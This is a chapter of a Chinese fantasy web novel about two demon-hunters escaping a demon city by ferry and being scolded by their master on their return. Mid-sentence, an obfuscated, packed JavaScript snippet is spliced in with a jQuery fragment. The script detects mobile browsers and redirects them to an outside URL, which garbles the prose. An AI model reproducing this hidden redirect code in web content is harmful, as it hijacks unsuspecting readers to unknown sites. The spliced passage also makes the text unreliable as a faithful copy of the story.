明随难得态度强硬,不由分说拉着陈今禾就走,“今晚我们就回去,这里不宜久留。”
陈今禾看了眼黑黝黝的天,“现在?”
“是不是有点晚,要不等天明?”陈今禾得到想要的答案,自然也愿意走。
“不。”明随坚持:“现在就走,去渡口坐船。”
陈今禾敏锐察觉出明随的不对劲:“怎么了?你伤口裂开了吗,身体不舒服?”
明随停下来,看向陈今禾,语气凝重:“蛇族如此冒险来帮丹绾,她一定是给了蛇族极大的好处,越重要蛇族就会越警惕。丹绾如果向蛇族透露,我们知道这件事……”
陈今禾反应过来:“你是说蛇族会杀我们灭口?”
明随点头,“我们的伪装已经持续不了多久了,丹绾能闻到你身上的人类味道,就说明这妖丹不能完全掩盖人族气息。明日的即位大典,整个幽城的妖都会现身,到时我们暴露的机会只会更大。”
“城主即位交接是幽城最重要的事,绝不允许被破坏。”
陈今禾跟上他的脚步,“平平在外面等我们,和他说一声就走。”
和路平平拜别,明随带着陈今禾去了渡口搭船,幽城夜间不开大门,进出只能去渡口坐船。划船的只有一只年迈的泥鳅精,坐船要价全看它心情。
“二位要出城?”泥鳅精的两只混沌的眼睛滴溜溜打转,从头到脚打量陈今禾和明随,似乎是在判断这趟要收多少东西。
陈今禾同它热情打招呼:“是我们,麻烦您了。”
泥鳅精笑笑摆手道:“不麻烦,不麻烦。”它划动船桨,只听水流哗哗,泥鳅精拉长声音道:“上船吧。”
陈今禾颇感意外,心想看来这泥鳅精今日心情不错,都没说收他们灵珠的事。她提着衣裙上了船,站到船尾,明随跟在她身后。
泥鳅精喊了声:“坐稳了——”
船一动,水就急了。原本平缓的河水骤然暴怒了一样,湍湍激流撞在嶙峋怪石上,跃起的水花跳到船上,白浪翻涌,水声轰鸣。
小船在湍急的河流中起起伏伏,似乎即将被掀翻,撑船的泥鳅精悠然哼着音调奇怪的歌谣,伴着水声一同钻进陈今禾的耳朵。
陈今禾并不晕船,但在此刻的跌宕起伏下她逐渐感到头晕想吐。明随注意到她的反应,上前扶住她:“身体不舒服?”
陈今禾摆摆手,从袖子里翻出手帕,又倒上醒神的香粉,闻着手帕味道缓解腹部的不适。
在陈今禾再也控制不住想吐时,泥鳅精忽地停了划船的动作,它回身看着陈今禾和明随说:“差点忘了说,夜间水急,渡河不易,这渡船的报酬要比白日高。”
陈今禾稳住身形,强忍不适看向泥鳅精:“您说价格。”
泥鳅精伸出五指:“五颗灵珠。”
话落,只听“呕”一声,陈今禾再也控制不住扶着船侧呕吐。
泥鳅精:“……”
明随神色担忧,他一面从口袋翻找灵珠,一面说:“可否将船开得慢些?我可以加钱。”
陈今禾感觉自己将今日吃下的东西全吐干净了,听到明随的话她挣扎着起身,“别别别,我没事。”
她拉住明随的衣袖,低声说:“我们现在只有四颗灵珠,付不起啊。”
不等明随回答,泥鳅精顿时不乐意了,它指着河流说:“要是不愿意付就别坐,从这跳下去自己游到对岸。”
陈今禾嘴角抽了下,她看了眼河水,心想其实也不是不能跳下去,想到这里陈今禾再次低声问身旁明随:“你会游泳吗?”
泥鳅精拉长脖子哼了声:“游吧,这河里可有着吃肉的妖怪,你们一下水就准会被抓下去!”
陈今禾:“……”
这老东西是不是针对我们呢?
她这次没说,怕这泥鳅精听到当场掀船,陈今禾无奈看向明随,打了个手势。
明随点点头,当即拔出腰间的刀,他速度太快,等泥鳅精反应过来时,刀已经架在了它的脖子上。
“三颗灵珠。”
冰冷的刀刃贴在脖颈处,泥鳅精刚要发作,明随耳坠微晃泻出一丝妖气,这道极小的妖气却令泥鳅精变了脸色。
它察觉到这妖气中蕴藏的信息,内心幽怨:妖王血脉就了不起啊!妖王血脉坐船都不舍得花钱,我呸!
“三颗就三颗。”泥鳅精脸上笑得灿烂,“二位坐好就是。”
陈今禾翻出三颗灵珠递过去,皮笑肉不笑:“谢谢您了。”
脖颈处的刀还没撤去,泥鳅精忍气吞声,肉笑皮不笑:“您客气。”
明随收起刀,声音平淡:“我们不急,麻烦您稳些。”
“是,是,是。”
待泥鳅精背过去,它一边划船一边默默流泪,内心控诉他们欺负老人。
。
下船出了幽城,蓬州正好刚刚天亮,陈今禾头晕眼花,尽管她想立马快马加鞭回京城,身体却不允许。
明随订了客栈,还带她去看了蓬州郎中。陈今禾伤得最重的就是右手,在蓬州休息这天,明随时刻监督她换药、喝药。
伤了手导致她没办法像以前一样骑马,陈今禾试图尝试单手,很快被明随否决了。
“我带你。”明随看向她受伤的那只手:“单手骑马不安全。”
陈今禾看了看自己骑来的那匹枣红马,“我们骑一匹马,它怎么办?”
“卖了。”明随道:“正好买路上的干粮。”
红枣马鼻孔喷气,甩了下头表示抗议。
“它听懂了。”陈今禾感觉到好笑。
“那更得卖了,它说不定是妖扮的。”
明随面色平静,他们的伪装散去,属于妖的尾巴和耳朵消失了。陈今禾短暂惋惜了还没来得及好好看看自己的耳朵就没了,明随和她岔开视线,心里却想你若是想看我可以变。
等二人风尘仆仆回京,刚下马,晏无涯就摇着扇子跑过来:“你们怎么才回来!”
这一路都没怎么休息,陈今禾又累又困,她没兴致和晏无涯打趣,说:“我困到不行,先去睡会儿,晚上说。”
晏无涯立即换了盘问对象,看向明随。陈今禾拉住明随就走:“他也困得不行,晚点说。”
留下晏无涯站在原地跺脚:“我有正事!西派留京了,你们知不知道?”
陈今禾挨床就睡,感觉这一觉
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17580124|204743||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
睡了几年。她睡眼惺忪起床,看窗外天色昏暗一时分不清时辰。
她站起身换了衣服,活动了下右手,多亏了明随的药,这会儿右手已经能正常活动了,为了不被看出来挨训,陈今禾换了药还专门挂了行囊以冲淡药味。
事实证明,此举没用。
陈今禾一进正殿就和脸色阴沉的赵春秋对视,以她以往的经验来看,师父是生气了。
殿内还站着明随,陈今禾朝他使眼色,询问他发生了什么。
“陈今禾。”赵春秋第一次喊了她的大名,陈今禾立马察觉事态的严重性,她正了神色,和赵春秋对视:“怎么了师父?”
“这个月,甚至下个月,你不允许再踏出镇妖司半步!”赵春秋脸色如墨,他指着陈今禾怒道:“谁给你的胆子去妖族!你不想活了是不是,上次你怎么答应我的?你非得气死我是不是,你,你……”
赵春秋捂住胸口,一时说不出话。陈今禾知道事情败露,立马摆正态度,诚恳认错,这种事情她常干,卖乖讨好的话脱口而出,能说好一会儿不带卡壳。
赵春秋心知肚明,陈今禾只是嘴上说的漂亮,下次绝对还敢。可他再生气偏偏又不能怎样,他太知道陈今禾是什么性子了。
赵春秋有气撒不出,转而将怒火烧到另外一个同伙身上,“明随啊,我当时是为了让你看好陈今禾才让你跟着她。现在倒好,你们一起单挑大妖,偷入妖族。陈今禾任性,你也是由着她胡闹!”
“师父,我们真的知道错了。这次你虽然不知道,但张姨知道,我没瞒着她啊,应该是张姨忘记告诉你了。你放心,我们再有什么行动绝对会找你商量。”
陈今禾双手合十,鞠躬道歉,她拉了拉明随,示意他学自己一样认错。
赵春秋气堵在心口,他长长叹了口气:“你和你娘真是一个性子。”
“伤得重不重?等会儿让你师兄帮你看看,这两个月不许出门,好好养伤。”
陈今禾这是知道师父又心软了,她立马应允,乖乖同意:“都听你的,我不出去。”
别看现在说是两个月,等过几日赵春秋气消了,陈今禾再说两句好话,两个月能变成半个月。
“我听师兄说,西派的人留京了?”陈今禾想起晏无涯的话,她和明随已经离开半个月,按理来说西派的人应该马上回去了。
赵春秋点点头,脸上看不出什么表情:“是,石武没除妖想法,只是缩小范围,说要留守京城,防止妖伤害陛下。陛下为了安抚他,只好同意,但不允许他随意捉拿,更不许见血。”
“奇怪,他们为何这么执着?”陈今禾不解,“现在有合约在前,表面上还算和谐,西派的人为何如此着急?。”
赵春秋不答,看向外面的天。
从赵春秋那里出来,陈今禾打了个喷嚏,休息够了她脑子就活了起来,开始思考在幽城遇到的问题。
“你说蛇族当时为什么要帮丹绾?”
明随思索,“丹绾给了他们想要的东西”。
陈今禾闭上眼,脑海里浮现桩桩件件她想不通的事,这些记忆和线索如同丝线,在陈今禾脑海里缠绕。
“我知道了!”